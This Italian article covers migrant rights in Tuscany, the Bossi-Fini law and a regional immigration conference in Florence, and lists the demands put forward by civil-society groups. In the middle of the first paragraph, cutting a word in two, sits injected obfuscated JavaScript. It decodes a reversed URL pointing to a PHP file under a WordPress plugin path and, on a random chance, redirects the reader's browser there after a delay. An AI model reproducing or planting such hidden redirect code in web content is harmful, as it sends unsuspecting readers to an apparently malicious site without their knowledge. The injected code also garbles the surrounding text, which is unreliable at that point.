Migranti in Toscana

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Gli effetti – nefasti – della cosiddetta Bossi-Fini hanno iniziato a farsi sentire in maniera pesante: i migranti vedono sottoposta la propria richiesta di regolarizzazione ad arbitrii e discrezionalità, spesso senza la minima trasparenza o possibilità di controllo dell’iter burocratico, lasci (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando le persone in un clima di profonda insicurezza. Tutto questo, come è ovvio, ha reso i percorsi di integrazione più difficili e tortuosi, sviluppando diffidenza e incertezza e allontanando dai principi della stessa Costituzione Italiana “per quanto riguarda il diritto di asilo, il permanere e l’ulteriore espandersi dei centri di detenzione per gli immigrati irregolari (i cosiddetti centri di permanenza temporanea), l’istituzione, nella pratica, del reato di clandestinità, con l’arresto e la detenzione per il migrante espulso che non ha adempiuto all’obbligo di uscire dal territorio italiano”.
Il 9 e 10 Aprile si è tenuto a Firenze presso il Convitto della Calza il Convegno Regionale sull’Immigrazione. Benché il programma fosse piuttosto nutrito di interventi, inizialmente non era previsto all’interno delle due giornate uno spazio specifico per le associazioni e le altre realtà che lavorano ogni giorno sui temi dell’immigrazione – per gli immigrati e al loro fianco, posizione questa che permette un continuo e costante monitoraggio di casi concreti – e che quindi rappresentano un punto obbligato di confronto per l’elaborazione di qualunque progetto di intervento si intenda elaborare a livello di Regione.
La cosiddetta società civile ha pensato di autoconvocarsi nella giornata del 3 Aprile allo scopo di prepararsi alla conferenza regionale in maniera compatta richiedendo spazi di ascolto e dibattito. A tale scopo ha elaborato un documento (vedi a lato) che delinea alcune linee programmatiche di intervento rispetto sulle quali ha chiesto alla Regione di potersi confrontare. Il documento è stato incluso tra i materiali in distribuzione durante la conferenza e uno spazio, per quanto piccolo, è stato riservato per l’esposizione dei punti chiave in esso contenuti. In questo modo, si è voluto intendere la Conferenza Regionale “il momento di partenza di un percorso in grado di mobilitare tutte le energie e le risorse disponibili” sul territorio. Alla Regione Toscana è stato chiesto un segnale forte in grado di tener conto e valorizzare quanto di positivo è già stato fatto e continua ad esser fatto nella nostra regione per la tutela dei diritti dei migranti e il loro concreto inserimento nel tessuto sociale in un’ottica che si muove secondo la logica dell’accoglienza e dell’inclusione.
Le richieste del documento
– la costituzione di un punto di riferimento politico unico, a livello di Giunta regionale che sia di indirizzo relativamente alle politiche rivolte ai migranti, ai richiedenti asilo, ai profughi[…]
– un’unità di azione con altre Regioni sui temi in questione, al fine anche di aprire delle vere e proprie vertenze con il Governo;
– un continuo monitoraggio e confronto rispetto agli organi dello Stato da cui dipende la sorte dei migranti;
– il riconoscimento del diritto di voto alle cittadine ed ai cittadini stranieri nello Statuto regionale e il sostegno alle forme di partecipazione (facilitando la partecipazione di donne immigrate negli organismi di rappresentanza, ad ogni livello);
– progetti speciali regionali riguardanti i richiedenti asilo ed i profughi, i minori stranieri non accompagnati, i Rom ed i Sinti (per un effettivo superamento dei cosiddetti campi nomadi), proclamando la Toscana terra di frontiera e considerando che in proposito sta venendo meno, in seguito al progressivo disimpegno del Governo, il PNA – Piano Nazionale Asilo -, nel cui ambito si sono sviluppate importanti iniziative in Toscana;
– la realizzazione di osservatori regionali e zonali relativi alle discriminazioni (con le conseguenti azioni di sostegno legale a chi subisce gli atti discriminatori – attivando al riguardo progetti e convenzioni con l’associazionismo e con i diversi soggetti che hanno competenze ed esperienze in atto);
– contrastare la costruzione sul territorio regionale di centri di permanenza temporanea, di cui va denunciata con forza l’incostituzionalità;
– giungere attraverso un processo partecipativo molto ampio, ad nuova legge regionale in materia di immigrazione che contenga elementi di indirizzo per normative nazionali ed europee finalmente ispirate ai criteri dell’accoglienza e dell’asilo;
– intraprendere un’azione politica di ampio respiro al fine di conseguire alcuni provvedimenti legislativi urgenti quali una legge sull’asilo, basata sui principi costituzionali e sulle indicazioni di carattere internazionale, e delle norme che riconoscano il diritto di voto ai cittadini stranieri, come “prescritto” a livello europeo […]

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